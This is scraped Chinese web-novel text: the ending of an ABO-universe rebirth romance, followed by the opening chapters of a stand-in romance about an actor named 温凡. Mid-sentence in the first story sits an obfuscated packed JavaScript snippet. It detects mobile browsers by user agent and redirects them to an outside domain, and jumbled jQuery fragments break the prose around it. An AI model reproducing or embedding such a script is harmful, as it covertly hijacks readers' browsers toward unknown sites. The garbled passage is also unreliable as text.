"除非跟我回去接受治疗。"林医生推了推眼镜,"郑局长承诺,只要技术数据,不会伤害他。" 裴瑾的回答是一枪打爆了林医生手中的装置。战术小队立刻开火压制,吉普车趁机冲过去,将林医生甩在身后。 程予乐的意识逐渐模糊。他感到裴瑾将他紧紧搂在怀里,雪松信息素不顾一切地释放,试图安抚他紊乱的系统。 "别睡,看着我!"裴瑾拍打他的脸,"我们快到了..." 但黑暗如潮水般涌来。在彻底失去意识前,程予乐听到裴瑾对着通讯器怒吼:"准备手术室!他脑出血了!" 然后是Alpha破碎的耳语:"求你...别再离开我..." 这一次,程予乐下定决心——无论如何,他都要回到裴瑾身边。不管要穿越多少时空,经历多少次重生... 因为有些人,注定要相爱。 黑暗。无边的黑暗。 程予乐感觉自己漂浮在虚空中,没有上下左右,没有时间流逝。偶尔有光点闪过,像记忆的碎片—— 裴瑾抱着他冲进医院... 医生们匆忙的身影... 刺眼的手术灯... "脑干出血,情况危急..." "信息素水平异常波动..." "准备ECMO!" 声音忽远忽近。程予乐想回应,却发不出声音。这就是死亡的感受吗?和前世车祸时不同,这次的过程缓慢而清晰,仿佛有人按下了减速键。 "程予乐!" 裴瑾的呼唤撕开黑暗。程予乐努力聚焦,隐约看到Alpha趴在病床边,银白发丝凌乱,琥珀色瞳孔布满血丝。裴瑾在说话,但声音像隔着一层厚玻璃。 "...匹配度99%...理论上可以..." "...再试一次..." "...求你了..." 一滴温热液体落在程予乐脸上。是泪吗?高冷的裴瑾也会哭?他想抬手擦去那滴泪,却连指尖都动不了。 监测仪突然尖啸起来。 "室颤!准备除颤!" "200焦耳,充电完毕!" 身体被电流击中,剧烈弹起又落下。程予乐感觉不到疼痛,只有一种奇异的抽离感,仿佛灵魂正在脱离躯壳。 "没有反应!" "再次除颤!" 又一次电击。黑暗中出现裂缝,强光透入。程予乐看到更多记忆碎片—— 前世临死前,救护车顶旋转的蓝光... 实验室里,裴瑾砸碎玻璃舱... 重生后教室中,那缕雪松气息... 原来人的一生,在终结时真的会走马灯般回放。 "脑电波持续减弱..." "家属请出去,我们要继续抢救..." "不!"裴瑾的怒吼震碎虚幻,"程予乐,看着我!" Alpha的信息素突然如海啸般爆发,雪松混着烈酒的气息填满整个病房。医护人员惊呼后退,监测仪上的脑电波却诡异地跳动了一下。 "他在回应!"一个医生喊道,"继续释放信息素!" 裴瑾俯身,额头抵住程予乐的,信息素如潮水般涌来:"跟我回去...求你..." 甜橙气息本能地回应,即使主人已意识模糊。两种信息素在空中交织,形成那种独特的"冬日烤橙"香气,越来越浓,越来越强... 监测仪上的直线突然有了波动。 "心跳恢复!" "脑电波重新活跃!" "这...这不符合医学常识..." 程予乐感到一股暖流从相贴的额头传来。裴瑾的记忆如画卷般展开—— 七岁男孩在湖中挣扎,水灌入肺部... 实验室里,电极贴在太阳穴... 成年后的裴瑾站在墓前,手中电影票被雨水打湿... 最后是现在的裴瑾,抱着他冲进医院,嘶吼着"再试一次"... 原来他们早已纠缠多世。 "回来了..."裴瑾的声音颤抖,"欢迎回来..." 程予乐努力睁开眼,模糊的视线中,Alpha憔悴的脸庞渐渐清晰。他想说话,却只发出气音。裴瑾立刻凑近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353489|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :"什么?" "...水..." 吸管凑到唇边,清凉液体滋润干裂的喉咙。程予乐试着动了动手指,这次成功了——他勉强勾住裴瑾的小指,像是一个微弱的承诺。 我还在这里。 "奇迹。"医生检查着数据,"99%的匹配度确实非同凡响。信息素共鸣激发了自主神经系统的代偿功能..." 裴瑾充耳不闻,只是专注地盯着程予乐,仿佛一眨眼他就会消失。Alpha的眼眶通红,眼下青黑,显然多日未眠。程予乐想抬手摸摸他的脸,却发现自己浑身插满管线,连这简单的动作都做不到。 "别动。"裴瑾轻轻按住他,"你昏迷了三天。" 三天?程予乐努力回想。车祸...林医生...那个可怕的记忆诱发器... "郑国勋..."他嘶哑地问。 "解决了。"裴瑾眼中闪过一丝冷光,"证据确凿,监察委员会已经逮捕了他。林锐在逃,但不成气候。" 程予乐微微点头,随即被一阵疲惫击中。眼皮沉重如铅,但他强撑着不敢睡去——怕再次坠入黑暗。 "睡吧。"裴瑾似乎看穿他的恐惧,"这次我会一直守着。我保证。" 雪松气息温柔地包裹着他,像一张无形的防护网。程予乐终于放任自己沉入梦乡,知道醒来时,那双琥珀色的眼睛一定还在注视着自己。 再次醒来时,阳光透过窗帘洒落床单。程予乐试着动了动,身体比昨天听话多了。病房里只有他一人,床头放着新鲜的花束和一张字条: 「去做最后扫尾,两小时后回来。——你的Alpha」 程予乐微笑,字条上还有裴瑾信息素的味道,显然Alpha故意用腺体蹭过纸张。这种幼稚的占有欲,和学校里高冷的转学生判若两人。 门被轻轻推开,一个穿白大褂的女医生走进来:"醒了?感觉如何?" "好多了。"程予乐试着坐起来,医生连忙帮忙调整床背,"裴瑾去哪了?" "裴先生去处理项目后续了。"医生检查着他的监护仪,"顺便说,你的脑部扫描结果很神奇——出血完全吸收,就像...从没受过伤一样。" 程予乐摸了摸后脑,那里确实没有任何不适。 "医学上无法解释。"医生递给他一份报告,"除非..." "除非什么?" "除非你的细胞代谢速率远超常人。"医生推了推眼镜,"就像...被某种力量强行加速了修复过程。" 信息素共鸣。程予乐突然明白了。裴瑾的雪松气息和他的甜橙信息素,不仅仅是吸引,更有治愈彼此的能力。这就是99%匹配度的真正意义。 医生离开后,程予乐拿起床头的平板,搜索最近的新闻。头条赫然是《政界元老郑国勋涉嫌人体实验被捕》,配图是郑国勋被押出豪宅的画面。往下翻,还有《裴氏集团宣布终止"时空回溯计划"》《多名科学家涉嫌违规实验被调查》... 门再次打开,裴瑾快步走进来,银白发丝有些凌乱,手里拎着两个纸袋,散发出诱人香气。 "醒了?"Alpha眼睛一亮,快步走到床边,"正好,趁热吃。" 程予乐接过纸袋,里面是他最喜欢的芝士牛肉卷和芋泥波波奶茶。他眼眶一热——前世加班时,他经常吃这家店的牛肉卷当晚餐。 "你记得..." "当然。"裴瑾坐下,手指轻轻梳理他的头发,"前世你办公桌上总堆着这家的包装纸。" 程予乐咬了一口,熟悉的味道唤醒更多记忆。他突然想到一个问题:"那天...你是怎么把我救回来的?医生说我的伤好得太快..." 裴瑾的表情变得复杂:"我不确定。当时你心跳停止,我...失控了。"他握紧程予乐的手,"信息素完全爆发,就像要把所有能量都给你一样。" "然后呢?" "然后你就回来了。"裴瑾轻声说,"就像前世我把你从死亡边缘拉回来一样。" 程予乐突然明白了什么:"所以我们之间的纽带...不仅仅是科学能解释的匹配度?" "从来都不是。"裴瑾吻了吻他的指尖,"科学只能解释99%的部分,剩下的1%..." "是奇迹?" "是爱。" 这个词从裴瑾口中说出,如此自然又珍重。程予乐鼻子一酸,前世今生,他等了太久。 "对了,我有东西给你。"裴瑾从口袋里取出一个小盒子,"本来想等你完全康复后..." 程予乐打开盒子,呼吸一滞——里面是一对银色耳钉,和他曾经在杂志上见过的那款一模一样。前世裴瑾一直戴着它,重生后他才知道,这是裴瑾母亲的遗物。 "左边是我的,右边给你。"裴瑾取下自己左耳的耳钉,小心地为程予乐戴上新的,"现在,我们永远匹配了。" 金属微凉,却很快被体温焐热。程予乐摸了摸耳垂上的新装饰,突然想起一个问题:"你父亲...怎么样了?" 裴瑾的表情冷了下来:"配合调查中。他确实参与了早期实验,但郑国勋才是真正的幕后黑手。"他顿了顿,"不过无论如何,我和裴家已经划清界限了。" "什么意思?" "我放弃了继承权。"裴瑾语气平静,"用所有股份换取了实验体的自由安置和项目永久封存。" 程予乐瞪大眼睛。裴氏集团市值数千亿,裴瑾就这样放弃了? "不值得惊讶。"裴瑾轻笑,"前世我就该这么做。" 阳光落在两人交握的手上,银耳钉微微发亮。程予乐突然感到一种前所未有的轻松,仿佛某个沉重的枷锁终于卸下。他不再是被观测的实验体,裴瑾也不再是受制于家族的研究员。他们只是...彼此相爱的两个人。 "出院后想去哪?"裴瑾问,"瑞士怎么样?我母亲在那儿有栋小屋,可以看到阿尔卑斯山。" 程予乐微笑:"只要和你一起,去哪都行。" 裴瑾凑近,雪松气息温柔地笼罩着他:"说定了。" 窗外,阳光正好。 一年后,苏黎世联邦理工学院。 "程博士,新一批数据出来了。"助手将平板递给程予乐,"匹配度超过95%的伴侣确实存在信息素治愈效应,但像您和裴先生这样的案例还是独一无二。" 程予乐浏览着数据,耳垂上的银耳钉在实验室灯光下闪烁。一年前那场生死危机后,他和裴瑾移居瑞士,他进入医学院继续研究信息素,裴瑾则创立了保护特殊人群的基金会。 "今天还加班吗?"助手问,"裴先生的车已经等在楼下了。" 程予乐看向窗外——裴瑾靠在一辆黑色轿车旁,银白发丝在夕阳下如同镀金。Alpha感应到他的视线,抬头微笑,琥珀色瞳孔熠熠生辉。 "不加班了。"程予乐脱下白大褂,"今天是我们纪念日。" 走出实验室,雪松气息迎面而来。裴瑾自然地接过他的公文包,在他唇上落下一吻:"回家?" "回家。"程予乐微笑。 车子驶向郊外山坡,那里有一栋能看到星空的小屋。不再是安全屋,不再是实验室,只是...家。 途中,程予乐的手机响起。是一条新闻推送:《前政要郑国勋狱中猝死,疑似神经毒素中毒》。他皱眉,将手机递给裴瑾。 "林锐的手笔。"裴瑾扫了一眼,"灭口。不过没关系,他的人脉网已经彻底瓦解了。" 程予乐点点头。过去一年,关于"时空回溯计划"的调查牵出不少大人物,但核心资料已被裴瑾永久删除。那些实验体——包括216号——都获得了妥善安置。 "对了,周浩下个月结婚,邀请我们去。"程予乐翻看邮件,"还说很想念被你辅导数学的日子。" 裴瑾轻笑:"他只想抄你作业。" 车子拐上山路,远处阿尔卑斯山巅积雪皑皑。程予乐望着风景,突然想起一个问题:"你后悔吗?放弃裴氏,放弃研究..." "从未。"裴瑾毫不犹豫,"前世我执着于救你,反而让我们都陷入痛苦。这一世..."他握住程予乐的手,"我只想和你好好活着。" 十指相扣,两枚银耳钉轻轻相碰,发出细微脆响。程予乐想起重生第一天,那个走廊里的偶遇,那缕雪松气息。如果当时知道会有这么多波折,他还会选择接近裴瑾吗? 答案是肯定的。一千次重生,一万次选择,他都会走向那个银发少年。 因为有些人,注定要相爱。 车子停在小屋前。夜幕低垂,第一颗星星刚刚亮起。裴瑾绕到副驾驶,为程予乐拉开车门:"到了,我的Omega。" 程予乐微笑,甜橙信息素不自觉地溢出,与雪松气息交融,形成那种只属于他们的"冬日烤橙"香气。 这一次,没有实验,没有阴谋,只有两颗终于自由的心,在星光下找到了归处。 【全文完】 56. 替身 温凡站在酒店顶层套房的门口,指尖无意识地摩挲着袖口的褶皱。 他其实有点紧张。 三天前,经纪人陈姐甩给他一份合约,语气神秘得像在交接什么见不得光的任务:"年薪七位数,工作内容简单,就演个替身,三年期限。" 温凡当时正咬着奶茶吸管,闻言差点呛到:"替身?演谁?靳沉他爹的私生子?" 陈姐一巴掌拍他后脑勺上:"演他白月光!" 温凡:"……" 他低头翻了翻合约,又抬头看了看陈姐:"姐,你确定靳沉需要花钱雇人演替身?以他的条件,勾勾手指头不就有一堆人扑上去?" 陈姐翻了个白眼:"人家要的是像的,不是随便什么阿猫阿狗。" 温凡挑眉:"那我像?" 陈姐没说话,默默从手机里调出一张照片。 温凡盯着屏幕看了三秒,忽然笑了:"哇哦,这位白月光先生……跟我长得真像失散多年的亲兄弟。" 照片里的男人眉眼温润,唇角含笑,连侧脸的弧度都和温凡有七分相似。唯一的区别大概是气质——对方像精心养护的名贵兰花,而温凡更像路边的野草,风一吹就能没心没肺地晃悠。 "所以,接不接?"陈姐问。 温凡合上合约,笑眯眯地:"接啊,有钱不赚王八蛋。" —— 而现在,他站在靳沉的套房门口,终于后知后觉地感到一丝荒谬。 深吸一口气,他抬手敲门。 三声过后,门内传来一道低沉的男声:"进来。" 温凡推门而入。 房间里的光线很暗,落地窗外是整座城市的灯火,而男人就坐在阴影处的沙发上,指尖夹着一支烟,猩红的火光在昏暗里忽明忽暗。 温凡看不清他的脸,却莫名觉得喉咙发紧。 "靳先生?"他试探性地开口,声音放得很轻。 男人没应声,只是抬了抬手,示意他走近。 温凡向前几步,终于看清了对方的脸——那是一张极英俊的面容,眉眼深邃,鼻梁高挺,下颌线条如刀刻般凌厉。可那双眼睛却冷得吓人,像是淬了冰,不带一丝温度地打量着他。 "转过去。"男人忽然开口。 温凡一怔,但还是依言缓缓转身。他能感觉到对方的视线落在他的背影上,像是在审视某件商品。 半晌,男人低低地"嗯"了一声,语气辨不出情绪:"确实像。" 温凡知道他在说什么。 他对着镜子练习过无数次——怎么笑才能最像照片里的那个人,怎么走路才能显得温柔又矜贵。演戏嘛,他最擅长了。 "转回来。"男人命令道。 温凡转身,脸上已经挂上了温顺的笑容,眉眼微微弯起,连嘴角的弧度都精心调整过。 "靳先生满意吗?"他轻声问。 靳沉没回答,只是掐灭了烟,站起身走到他面前。男人比他高出半个头,靠近时带着淡淡的烟草味和冷冽的香水气息,压迫感十足。 温凡下意识想后退,又硬生生忍住。 靳沉伸手,指尖轻轻抬起他的下巴,目光在他脸上逡巡。 "知道你的工作内容吗?"男人问。 温凡点头:"扮演您想要的那个人。" "聪明。"靳沉松开手,语气淡漠,"记住,你只是替身,别做多余的事。" 温凡笑容不变:"当然,靳先生花钱买的是我的演技,不是我的心。" 靳沉似乎被他的直白逗笑了,唇角勾起一个极浅的弧度:"很好。" 他转身走向办公桌,抽出一份文件丢给温凡:"签字。" 温凡接过,扫了一眼,是比陈姐给的更详细的合约条款。他粗略翻了翻,在看到"禁止与靳沉有任何肢体接触"这一条时,差点笑出声。 ——这位靳总,还挺守男德。 他利落地签了字,抬头时发现靳沉正在看他。 "明天会有人接你去别墅,"男人淡淡道,"你的活动范围有限制,出门需要报备。" 温凡乖巧点头:"明白,金丝雀要有金丝雀的自觉。" 靳沉眯了眯眼:"你倒是适应得快。" 温凡笑得更甜了:"专业素质,靳先生。" —— 走出酒店时,夜风拂面,温凡长长地呼出一口气。 他摸出手机,给陈姐发了条消息: 【签了。】 对方秒回:【怎么样?靳沉难搞吗?】 温凡想了想那个男人冰冷的目光和极具压迫感的气场,打字回复: 【还行,就是有点费演技。】 发完消息,他抬头看了看星空,忽然笑了。 替身? 这戏,他接定了。 金丝雀的笼子 温凡站在别墅门口,仰头望着这座三层高的欧式建筑,心想:这笼子可真够豪华的。 黑色雕花铁门缓缓打开,一位穿着严谨的中年女人走出来,面无表情地打量他:"温先生?我是这里的管家,姓周。" 温凡露出一个标准的乖巧笑容:"周姨好。" 周管家眉头几不可察地皱了一下,似乎对他的称呼不太满意,但最终没说什么,只是侧身让路:"靳先生吩咐了,您的房间在二楼,日常用品已经准备好,有什么需要可以告诉我。" 温凡拖着行李箱跟在她身后,目光扫过修剪整齐的草坪、喷泉和远处的人工湖,心里默默咂舌——这哪是别墅,分明是个小型庄园。 "靳先生平时住这里吗?"他状似随意地问。 "靳先生很忙,"周管家语气平淡,"一个月能来一两次就不错了。" 温凡眨了眨眼,心想这替身当得还挺轻松,金主不常回家,钱却照拿。 上了二楼,周管家推开走廊尽头的一扇门:"这是您的房间。" 温凡走进去,差点被满屋子的阳光晃到眼。落地窗外是个大阳台,正对着花园,视野极好。房间装修是简约的灰白色调,床品看起来柔软昂贵,书桌上甚至摆着一台崭新的笔记本电脑。 "浴室在左边,衣帽间在右边,"周管家继续道,"靳先生交代过,您可以在别墅内自由活动,但不要进入三楼他的私人区域。" 温凡点头如捣蒜:"明白明白,绝对不乱跑。" 周管家似乎对他的配合还算满意,语气稍微缓和:"晚餐七点开始,您有什么忌口的吗?" "没有,我很好养活。"温凡笑眯眯地回答。 等周管家离开后,温凡立刻扑到床上打了个滚,脸埋进蓬松的枕头里,满足地叹了口气。 ——这床比他出租屋的破弹簧床舒服一百倍。 他翻了个身,摸出手机给死党林小川发消息: 【入住成功!金主爸爸的别墅比五星级酒店还豪华!】 林小川秒回:【卧槽!靳沉真包养你了?】 温凡翻了个白眼:【什么包养,这叫合法劳务关系,有合同的!】 林小川:【得了吧,替身合约跟包养有什么区别?不过话说回来,靳沉不是出了名的不近美色吗?怎么会突然找替身?】 温凡盯着这条消息,忽然想起昨天靳沉看他的眼神——冰冷、审视,像是在评估一件商品的价值,而非对待一个活生生的人。 他撇撇嘴,回复:【谁知道呢,可能白月光跑国外去了,他寂寞难耐?】 发完这条,他随手点开浏览器,输入"靳沉白月光"几个字,结果跳出来的全是财经新闻和商业报道,半点八卦都没有。 "啧,保密工作做得真好。"温凡嘟囔着关掉手机。 晚餐比温凡想象的还要丰盛。周管家虽然表情严肃,但准备的菜色却很合他胃口,甚至有一道他最爱吃的糖醋排骨。 "周姨,您手艺真好!"温凡真诚地夸赞。 周管家嘴角微微抽动,似乎不太习惯被人这么直白地夸奖:"是厨师做的。" "哦……"温凡讪讪地摸了摸鼻子,随即又笑起来,"那替我谢谢厨师大哥!" 周管家看了他一眼,欲言又止,最终只是点了点头。 吃完饭,温凡在别墅里转悠了一圈熟悉环境。一楼是客厅、餐厅和厨房,二楼除了他的卧室还有几间客房和一个小书房,三楼则完全安静,楼梯口甚至装了电子锁,显然不欢迎外人进入。 温凡对靳沉的私人空间没兴趣,但当他经过二楼走廊时,却被墙上的一幅画吸引了注意力。 那是一幅油画,画中的年轻男人站在阳光下,笑容温柔。温凡盯着看了几秒,忽然意识到——这就是靳沉的白月光。 也是他的"工作对象"。 画中人的确和他很像,尤其是眉眼和脸型,但气质截然不同。那人看起来温润如玉,像是从小在优渥环境中长大的贵公子,而温凡自己…… 他对着走廊的镜子做了个鬼脸,镜中的青年眼神灵动,带着几分狡黠和玩世不恭。 "演技,靠演技。"温凡小声提醒自己,然后对着镜子调整表情,试图模仿画中人的神态。 就在这时,身后突然传来一道冷冽的声音: "你在干什么?" 温凡浑身一僵,缓缓转身,看到靳沉不知何时出现在楼梯口,正冷冷地盯着他。 男人穿着一身黑色西装,领带微微松开,看起来像是刚从某个重要场合回来。他的目光在温凡和墙上的画之间扫过,眼神晦暗不明。 温凡迅速进入角色,露出一个温顺的笑容:"靳先生,您回来了。" 靳沉没有回应他的问候,而是径直走到画前,伸手轻轻抚过画框,动作近乎温柔。 "不要碰这幅画。"他头也不回地说,声音低沉而危险。 温凡乖巧地后退一步:"抱歉,我只是觉得画得很美。" 靳沉终于转过身,目光锐利地审视着他:"记住你的身份。" 温凡低下头,做出一副惶恐的样子:"我明白,靳先生。" 但实际上,他心里想的却是——这位金主爸爸对白月光的执念,似乎比他想象的还要深啊。 靳沉盯着他看了几秒,突然伸手抬起他的下巴,强迫他与自己对视。 "笑一个。"男人命令道。 温凡怔了怔,随即调整表情,露出一个与画中人极为相似的笑容——温柔、含蓄,带着几分矜持。 靳沉的眼神恍惚了一瞬,随即松开手,转身走向三楼。 "明天晚上有个宴会,你跟我一起去。"他丢下这句话,头也不回地上了楼。 温凡站在原地,摸了摸被捏得微微发疼的下巴,若有所思。 ——看来这位金主爸爸,是真的很想念他的白月光啊。 完美替身的营业危机 温凡站在衣帽间里,盯着面前一排高定西装,陷入了沉思。 周管家站在一旁,语气平板:"靳先生吩咐,您今晚需要穿这套。" 她取出一套深蓝色暗纹西装,剪裁优雅,面料在灯光下泛着低调的光泽。温凡伸手摸了摸袖口,触感丝滑冰凉,价格标签恐怕能抵他半年房租。 "这颜色……"温凡歪了歪头,"是那位喜欢的风格?" 周管家表情微僵:"温先生只需要按照要求着装。" 温凡识相地闭嘴,接过西装。等周管家离开后,他对着镜子比了比,忍不住小声嘀咕:"这么老气的颜色,那位白月光审美不行啊……" --- 晚上七点,黑色迈巴赫准时停在别墅门口。 温凡拉开车门时,靳沉已经在后座等候。男人今天穿了一身纯黑西装,衬得肤色冷白,轮廓如刀削般锋利。他正低头查看文件,连眼皮都没抬一下。 温凡小心翼翼地坐进去,尽量不打扰他。车内弥漫着淡淡的雪松香气,混合着皮革的味道,莫名让人神经紧绷。 "靳先生。"他轻声打招呼。 靳沉这才抬眼,目光在他身上停留了几秒,眉头微不可察地皱了一下:"领带歪了。" 温凡下意识去摸领结,手腕却被一把扣住。靳沉的手掌温度偏低,触感却异常清晰。男人倾身过来,亲自替他调整领带,修长的手指偶尔擦过他的颈侧,引起一阵细微的战栗。 太近了。 温凡能看清靳沉睫毛的弧度,甚至闻到他身上淡淡的须后水味道。这个距离已经超出了合约里"禁止肢体接触"的范畴,但显然金主爸爸自己并不在意。 "好了。"靳沉松开手,重新靠回座位,语气恢复冷淡,"今晚的宴会主办方是林氏集团,你只需要跟在我身边,保持微笑,必要时配合我应付几个客人。" 温凡乖巧点头:"明白,我就是个人形立牌。" 靳沉瞥了他一眼:"少说话。" --- 宴会厅金碧辉煌,水晶吊灯折射出璀璨光芒。温凡跟在靳沉身后半步的位置,保持着恰到好处的微笑。他能感觉到无数道目光投射过来,有好奇的,有探究的,还有几道明显带着敌意。 "靳总,这位是?"一位中年男子迎上来,目光在温凡脸上来回扫视。 靳沉面色不变:"温凡,我的助理。" 温凡嘴角的笑容僵了一瞬。助理?合约里可没说要兼职这个。但他很快调整好表情,朝对方点头致意。 中年男子露出恍然大悟的表情:"哦——就是那个小演……" "李总,"靳沉冷声打断,"听说贵公司最近在谈城东那块地?" 话题被生硬地转移,李总讪笑着接话。温凡站在一旁,手指悄悄攥紧了酒杯。原来这些人知道他是谁——一个十八线小演员,现在成了靳沉的"玩物"。 宴会进行到一半,靳沉被几个商业伙伴围住谈事情。温凡识趣地退到角落,刚松了口气,就听到身后传来一声轻笑: "你就是沉哥找的那个替身?" 温凡转身,看到一个穿着粉色西装的年轻男子正打量他,眼神轻蔑。 "我是温凡。"他保持微笑,没有正面回答。 "知道原主是谁吗?"粉西装凑近一步,压低声音,"宋清羽,宋家小少爷,靳沉青梅竹马的白月光,三年前出国深造去了。" 温凡心头一跳,终于知道了画中人的名字。 粉西装继续道:"你也就这张脸像点,气质差远了。清羽哥温柔优雅,哪像你,一脸小家子气。" 温凡眨了眨眼,突然露出一个更加灿烂的笑容:"这位先生,您这么了解宋少爷,该不会也暗恋他吧?" "你!"粉西装脸色瞬间涨红,"不知好歹的东西!等清羽哥回来,看你还能得意几天!" 温凡正要回怼,肩膀突然被人揽住。靳沉不知何时出现在他身后,手臂占有性地环着他,目光冰冷地看向粉西装:"周小公子,对我的伴侣有什么意见?" 全场瞬间安静了几秒。 温凡差点被自己的口水呛到——伴侣?合约里可没这一条! 粉西装也惊呆了:"沉哥,你明明知道他只是……" "周奕,"靳沉声音沉下来,"注意你的言辞。" 名叫周奕的粉西装脸色一阵青一阵白,最终悻悻离去。靳沉这才松开温凡,但手仍搭在他腰间,带着他往露台走去。 一到没人的地方,温凡立刻小声抗议:"靳先生,''伴侣''这个设定是不是有点超纲了?" 靳沉垂眸看他:"临时需要。" "那能不能提前通知一声?我演技很好,但容易受惊吓。"温凡半真半假地抱怨。 月光下,靳沉的表情似乎柔和了些许:"刚才周奕跟你说什么了?" 温凡犹豫了一下:"他告诉我……宋清羽的事。" 靳沉的眼神骤然变冷。 温凡赶紧补充:"不过我完全理解!白月光出国,找个替身解闷,很合理嘛。靳先生放心,我绝对专业,不会产生不该有的想法。" 他本以为这番表忠心会让靳沉满意,却见男人脸色更阴沉了。 "你很敬业。"靳沉冷冰冰地说完,转身就走。 温凡一脸莫名其妙地跟上,心想金主爸爸的脾气怎么比天气预报还难捉摸。 --- 回程的车上,气氛比来时更加凝固。 温凡偷瞄了几次靳沉的侧脸,终于忍不住开口:"靳先生,我是不是哪里做得不好?" 靳沉闭目养神,没有回答。 "如果是周奕那件事,我保证不会到处乱说宋少爷的事。"温凡继续表忠心,"其实您完全不用担心,像我这种小演员,最懂得分寸了。" 靳沉突然睁开眼:"停车。" 司机立刻靠边停下。 "下去。"靳沉命令道。 温凡愣住:"这里?" 这可是郊区,离别墅至少还有二十分钟车程。 靳沉已经按下车门锁:"自己打车回去。" 温凡张了张嘴,最终什么也没说,乖乖下车。他刚站稳,迈巴赫就绝尘而去,喷了他一脸尾气。 "……什么毛病啊。"温凡抹了把脸,无奈地掏出手机叫车。 夜风吹过,他忽然意识到一个问题——靳沉似乎很不喜欢他提起"替身"这个身份,尤其是在涉及宋清羽的时候。 这位金主爸爸,到底在想什么呢? 替身的自我修养 凌晨一点十三分,温凡终于拖着疲惫的脚步回到别墅。 周管家居然还没睡,站在门口一脸严肃:"靳先生吩咐,您回来后直接去书房见他。" 温凡在心里翻了个白眼——这位金主爸爸大半夜不睡觉,是准备继续找他麻烦吗? 书房门半掩着,暖黄的灯光从缝隙中漏出来。温凡轻轻敲了敲门。 "进来。" 靳沉的声音比平时更低沉,带着一丝不易察觉的沙哑。温凡推门而入,发现男人正站在落地窗前,手里端着一杯琥珀色的液体,西装外套已经脱下,领带也松开了,整个人透着几分罕见的慵懒。 房间里弥漫着淡淡的酒香。 "靳先生。"温凡站在门口,乖巧得像个小学生。 靳沉转过身,目光在他身上扫了一圈:"知道为什么让你走回来吗?" 温凡眨了眨眼:"因为我话太多?" "因为你不专业。"靳沉走近几步,酒杯在指尖轻轻转动,"替身的第一准则是什么?" 温凡想了想:"长得像?" "是不要有好奇心。"靳沉停在离他一步之遥的地方,眼神锐利,"尤其是关于宋清羽的事。" 温凡这才恍然大悟——原来靳沉是在介意他打听白月光的事。他立刻举起三根手指:"我发誓,以后绝对不问、不听、不打听任何关于宋少爷的事!" 靳沉盯着他看了几秒,突然伸手捏住他的下巴:"你今晚在宴会上,为什么对周奕笑那么开心?" 温凡一愣:"啊?" 这话题转得他措手不及。 "我那是职业假笑……"温凡小声辩解,"而且他明明在嘲讽我。" 靳沉的手指微微用力:"既然是替身,就该注意自己的言行。宋清羽从不会对陌生人那样笑。" 温凡这才明白过来——原来金主爸爸是在嫌弃他演技不到位。 "靳先生,"他忍不住反驳,"合约里只说让我当替身,可没说要完全复制宋少爷的一举一动啊。" 话一出口他就后悔了。果然,靳沉的脸色瞬间沉了下来。 "顶嘴?"男人危险地眯起眼。 温凡立刻怂了:"我错了,明天就开始研究宋少爷的微表情管理!" 靳沉松开手,转身走回书桌前,从抽屉里取出一个牛皮纸袋扔给他:"这里有清羽的照片和视频,好好学。" 温凡接过纸袋,心情复杂——这算什么?替身岗前培训资料? "还有,"靳沉补充道,"从明天开始,每天下午三点到五点,会有老师来教你钢琴和茶道。" 温凡瞪大眼:"等等,宋少爷还会弹钢琴?" "肖邦的《夜曲》,"靳沉的眼神飘向远处,像是在回忆什么,"他弹得很好。" 温凡突然觉得手里的纸袋有千斤重。他一个从小在孤儿院长大,大学辍学跑龙套的十八线演员,现在居然要学钢琴茶道装贵公子? "靳先生,"他小心翼翼地问,"如果学不会呢?" 靳沉将杯中的酒一饮而尽:"那就一直学,直到像为止。" --- 第二天下午,温凡坐在钢琴前,如坐针毡。 钢琴老师是位优雅的中年女士,正耐心地教他认识琴键:"这是中央C,宋少爷最喜欢从这个音开始……" 温凡的手指僵硬地按在琴键上,发出的声音活像在杀鸡。两个小时后,他的额头已经冒出一层细汗,而老师脸上的笑容也越来越勉强。 "温先生,"老师委婉地说,"或许我们明天从更基础的乐理开始?" 温凡羞愧地点点头。 钢琴课结束后是茶道课。这位老师更加严肃,全程都在纠正他的姿势:"手腕再低一点……对,宋少爷总是这样执壶……" 当温凡第三次把茶水洒出杯外时,老师终于忍不住叹了口气:"宋少爷第一次学茶道就掌握了精髓。" 温凡默默擦着桌子,心想这位宋清羽怕不是个完人。 --- 晚上,温凡瘫在床上,给林小川发消息: 【救命!金主爸爸要我学钢琴茶道!】 林小川:【???这是什么豪门play?】 温凡:【因为他白月光会这些,我这个替身不够格呗】 林小川:【卧槽,这么严格?那万一白月光还会跳芭蕾,你是不是还得去踮脚尖?】 温凡刚想回复,房门突然被敲响。他吓得一激灵,手机直接砸在脸上。 "谁?"他揉着鼻子问。 "是我。"靳沉的声音隔着门板传来,"开门。" 温凡手忙脚乱地藏好手机,整理了一下睡衣才去开门。靳沉站在门外,手里拿着一份文件,目光在他凌乱的头发和皱巴巴的睡衣上扫过,眉头微蹙。 "课程进展如何?"男人直截了当地问。 温凡干笑两声:"还、还行?" 靳沉显然不信:"弹一段我听听。" 温凡顿时僵在原地。弹?他现在连《小星星》都弹不利索! "那个……"他急中生智,"老师说要从基础乐理开始,我现在还在认谱阶段。" 靳沉的眼神暗了下来:"也就是说,毫无进展。" 这不是疑问句。 温凡低下头,像个做错事的小学生。出乎意料的是,靳沉并没有发火,而是走进房间,将文件放在桌上。 "这是清羽的日常作息表,"他淡淡道,"从明天开始,按这个来。" 温凡翻开文件,看到上面密密麻麻写着: 7:00 起床,晨跑 8:00 早餐(全麦面包、水煮蛋、黑咖啡) 9:00-11:00 阅读时间 …… 最离谱的是晚上十点还标注着"护肤routine"。 温凡眼前一黑——这哪是作息表,分明是特种兵训练计划! "靳先生,"他忍不住抗议,"长相可以像,性格可以演,但生活习惯这种东西……" "加薪30%。"靳沉打断他。 温凡立刻闭嘴,迅速心算了一下新工资的数字,然后扬起一个灿烂的笑容:"靳先生放心,我一定严格按照宋少爷的作息生活!" 靳沉似乎对他的识相很满意,转身准备离开,却在门口停下脚步:"为什么选择当演员?" 这个突如其来的问题让温凡愣住了。他挠了挠头:"因为来钱快?" 